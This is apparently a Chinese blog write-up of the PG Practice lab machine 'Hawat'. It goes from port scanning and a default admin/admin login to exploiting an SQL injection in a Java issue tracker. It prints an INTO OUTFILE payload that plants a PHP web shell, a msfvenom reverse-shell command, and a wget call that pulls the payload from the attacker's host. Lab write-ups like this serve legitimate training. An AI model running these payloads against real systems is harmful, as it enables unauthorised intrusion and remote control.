iT邦幫忙

2025 iThome 鐵人賽

DAY 11
0
Security

滲透探險 30 天:靶機挑戰記系列 第 11

PG Practice: Hawat 攻略

  • 分享至 

  • xImage
  •  

Recon

先看看靶機上有甚麼唷!
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.198.147 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.198.147 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.198.147 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.198.147 -type recon; 

https://ithelp.ithome.com.tw/upload/images/20250924/20178791EWLEPkNF8t.png
Port 30445 路徑爆破結果
https://ithelp.ithome.com.tw/upload/images/20250924/20178791qPJw7ZNwKK.png

http://hawat:17445/ 我們發現了一個網站 看起來很像做 bug report 的留言板
https://ithelp.ithome.com.tw/upload/images/20250924/20178791L1Yhr1Gdv7.png
試著登入看看 http://hawat:17445/login
試過幾組 default 的帳號密碼後 無法順利登入
試看看能不能註冊
https://ithelp.ithome.com.tw/upload/images/20250924/20178791VlbeK4y9BG.png

http://hawat:17445/user/list 註冊完後看起來沒甚麼有趣的
Port 17445 先這樣吧~
https://ithelp.ithome.com.tw/upload/images/20250924/20178791heF1gqOo6t.png

我們來看看 Port 50080 這邊看起來是一個餐廳的首頁 http://hawat:50080/index.html#
https://ithelp.ithome.com.tw/upload/images/20250924/20178791DMJZleHvfF.png

這邊如果用剛剛掃描的腳本做路徑爆破,在 50080上應該可以看到一個 cloud的路徑 (但因為我沒截到圖…)
在這邊會發現一個登入畫面 http://hawat:50080/cloud/index.php/login
讓我們試看看基本的帳號密碼 admin/ admin

沒想到很順利的登入了他的 dashboard (http://hawat:50080/cloud/index.php/apps/dashboard/ )
這邊看起來最有趣的就是那個 issuetracker.zip
看起來跟 port 17445 上的服務有關 把它下載下來
https://ithelp.ithome.com.tw/upload/images/20250924/20178791cCL69oQ2hA.png

打開後你會看到非常多筆 source code 裡面我們最有興趣的只有 IssueController.java 這支
https://ithelp.ithome.com.tw/upload/images/20250924/20178791iZylSqLTtm.png

在這支 code 裡面 這段 method 明白的跟你指出因為 priority 沒有做任何過濾,所以這邊會有 SQL injection 的問題
那我們再看看其他有趣的資訊

  1. @GetMapping("/issue/checkByPriority") ⟶ HTTP GET 的 request 會送去 /issue/checkByPriority
  2. public String checkByPriority(@RequestParam("priority") String priority, Model model) ⟶ 你要送一個叫做 priority 的參數 e.g. /issue/checkByPriority?priority=high.
  3. 這資料庫是 MySQL
    https://ithelp.ithome.com.tw/upload/images/20250924/20178791BSyGnD8iy1.png

好 現在回到 Port 17445 就是那個有issue tracker 的網站
http://hawat:17445/issue/checkByPriority
https://ithelp.ithome.com.tw/upload/images/20250924/20178791Z4r1xckRmI.png

我們試著用 burpsuite 攔截 packet 然後發現是 Code 405 代表我們要去改變傳送的方法 Get 改成 Post
https://ithelp.ithome.com.tw/upload/images/20250924/20178791QtdegEnPHU.png

送出以後 我們得到另外一個 error code 400, bad request
現在我們要來加上剛剛找到的 priority 參數
https://ithelp.ithome.com.tw/upload/images/20250924/20178791KaIAkspvfy.png

送出後 順利拿回 response
但這邊我們只完成一半, 我們要的是一個 reverse shell
而一個好的 SQL Injection 應該要能提供一個 reverse shell 但是我們要先知道我們要把 shell code 寫去哪裡
https://ithelp.ithome.com.tw/upload/images/20250924/20178791pQJKgHHNtm.png

還記的一開始的掃描嗎 我們可以在 Port 30445 上面找到 document root 這是這個網站的根目錄 我們要把 shell code 寫去那邊
http://hawat:30455/phpinfo.php
https://ithelp.ithome.com.tw/upload/images/20250924/20178791W0Lngi5IxC.png

Initial Access

我們利用 Burpsuite 的 repeater 去 inject SQL 語法 幫助我們寫一個 web shell 到根目錄

' UNION SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/srv/http/cmd.php" -- //

https://ithelp.ithome.com.tw/upload/images/20250924/20178791YHiqBdsvMA.png

Got it! web shell 順利執行成功

http://hawat:30455/cmd.php?cmd=whoami 

https://ithelp.ithome.com.tw/upload/images/20250924/20178791ZEv3IyO8IY.png
接著我們來產生一個 PHP的 reverse shell 並且上傳到根目錄

msfvenom -p php/reverse_php LHOST=192.168.45.224 LPORT=443 -f raw -o rShell.php

http://hawat:30455/cmd2.php?cmd=wget%20http://192.168.45.224:17445/rShell.php%20-O%20rShell3.php 

在 Kali上設定好監聽 接著執行我們的 PHP reverse shell!

http://hawat:30455/rShell3.php 

Great! 順利拿到互動式 shell 與 flag
打完收工!
https://ithelp.ithome.com.tw/upload/images/20250924/20178791oB43Rf0kbO.png


上一篇
PG Practice: Nibbles 攻略
下一篇
PG Practice: Nickel 攻略
系列文
滲透探險 30 天:靶機挑戰記12
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言